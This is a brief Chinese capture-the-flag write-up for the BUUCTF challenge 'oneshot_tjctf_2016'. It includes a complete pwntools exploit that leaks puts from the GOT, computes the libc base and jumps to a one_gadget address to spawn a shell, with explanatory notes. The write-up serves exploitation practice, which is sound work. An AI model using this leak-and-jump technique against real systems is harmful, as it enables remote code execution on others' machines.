BUUCTF之“oneshot_tjctf_2016”

咳咳，这题就是对于onegadget的简单复习：泄露libc库某个函数，然后计算基地址，结合onegadget计算execve地址。

IDA中需要注意的：

*(_QWORD *)v4

这里着重说下“*(_QWORD )”，我们将之拆开来说：
(_QWORD)意思是将八个字节的后者（v4）强制转换为8个字节的地址，而后再其前边加上星号就是提取指针“将指针指向的8个空间格子取出”，程序中的意思是，再将其以16进制形式打印出来。

WP:

from pwn import*
p=remote('node4.buuoj.cn',29008)
libc=ELF('./libc-2.23.so64')
elf=ELF('./shot')

puts_got=elf.got['puts']
p.sendlineafter("Read location?",str(puts_got))
p.recvuntil("0x")
addr_=int(p.recvuntil('\n'),16)

base=addr_-libc.symbols['puts']
onegad=base+0x45216

p.sendlineafter("Jump location?",str(onegad))
p.interactive()

WP中需要注意的：
一个是int的使用，
一个是str（）的形式将"put_addr"和“onegad”输入上去：这是因为我们利用“send__的形式与远端进行交互，而send_的要求就是要发送字符，二者的都是地址，是数，所以我们的利用str（）将其转成字符形式”